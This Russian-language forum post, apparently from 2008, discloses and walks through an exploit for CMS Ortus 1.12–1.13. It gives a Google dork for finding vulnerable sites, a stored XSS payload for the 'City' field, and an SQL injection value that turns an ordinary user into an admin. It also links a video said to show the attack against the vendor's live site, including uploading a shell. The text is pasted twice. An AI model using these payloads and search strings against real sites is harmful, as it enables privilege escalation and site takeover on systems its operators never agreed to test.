otmorozok428
27.11.2008, 15:22
На днях занимался исследованием CMS Ortus. Нашёл серьёзную уязвимость, заодно подучил латынь. Теперь, знаю что Ortus по латыни означает "рассвет". Короче, век живи - век учись, как говорил Цицерон :)
Сайт вендора: http://ortus.nirn.ru
Уязвимые версии: 1.12, 1.13
Гуглится так: inurl:index.php?ortupg=
Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле "City".
Рассмотрим по порядку:
1. Зарегистрируем нового пользователя
http://www.site.com/index.php?mod=users_add
Данные из POST-формы будут помещены в следующий SQL-запрос
INSERT INTO ortus_users SET id_user = NULL, name = 'pupkin', login = 'pupkin', psw = md5('12345'), `group` = 'user', `city` = 'Moscow', `info` = '', `email` = 'pupkin@zade.com', `reg_date` = NOW(), `activated` = 'no', `subscribe` = 'yes'
А поскольку параметр "City" не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле "City"
<script>alert()</script>
что в принципе тоже достаточно нефигово, но идём дальше...
2. Аутентифицируемся на сайте
http://www.site.com/index.php?mod=auth
3. Редактируем профиль пользователя
http://www.site.com/index.php?mod=users_edit_pub
Обновление профиля пользователя производится запросом
UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'Moscow', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user = 7
Мы можем видоизменить данный запрос вставив
MyCity', `group`='admin
в поле "City". То есть наш запрос стал выглядеть так
UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'MyCity', `group`='admin', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user = 7
Пользователь pupkin был членом группы user, а стал членом группы admin. Убедиться в этом можно посмотрев список пользователей
http://www.site.com/index.php?mod=users_list_pub
4. Видео-урок
Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта CMS Ortus. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:
http://depositfiles.com/files/h8sbwikey
Сайт вендора: http://ortus.nirn.ru
Уязвимые версии: 1.12, 1.13
Гуглится так: inurl:index.php?ortupg=
Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле "City".
Рассмотрим по порядку:
1. Зарегистрируем нового пользователя
http://www.site.com/index.php?mod=users_add
Данные из POST-формы будут помещены в следующий SQL-запрос
INSERT INTO ortus_users SET id_user = NULL, name = 'pupkin', login = 'pupkin', psw = md5('12345'), `group` = 'user', `city` = 'Moscow', `info` = '', `email` = 'pupkin@zade.com', `reg_date` = NOW(), `activated` = 'no', `subscribe` = 'yes'
А поскольку параметр "City" не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле "City"
<script>alert()</script>
что в принципе тоже достаточно нефигово, но идём дальше...
2. Аутентифицируемся на сайте
http://www.site.com/index.php?mod=auth
3. Редактируем профиль пользователя
http://www.site.com/index.php?mod=users_edit_pub
Обновление профиля пользователя производится запросом
UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'Moscow', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user = 7
Мы можем видоизменить данный запрос вставив
MyCity', `group`='admin
в поле "City". То есть наш запрос стал выглядеть так
UPDATE ortus_users SET `name` = 'pupkin', `info` = '', `city` = 'MyCity', `group`='admin', `email` = 'pupkin@zade.com', `subscribe` = 'yes' WHERE id_user = 7
Пользователь pupkin был членом группы user, а стал членом группы admin. Убедиться в этом можно посмотрев список пользователей
http://www.site.com/index.php?mod=users_list_pub
4. Видео-урок
Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта CMS Ortus. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:
http://depositfiles.com/files/h8sbwikey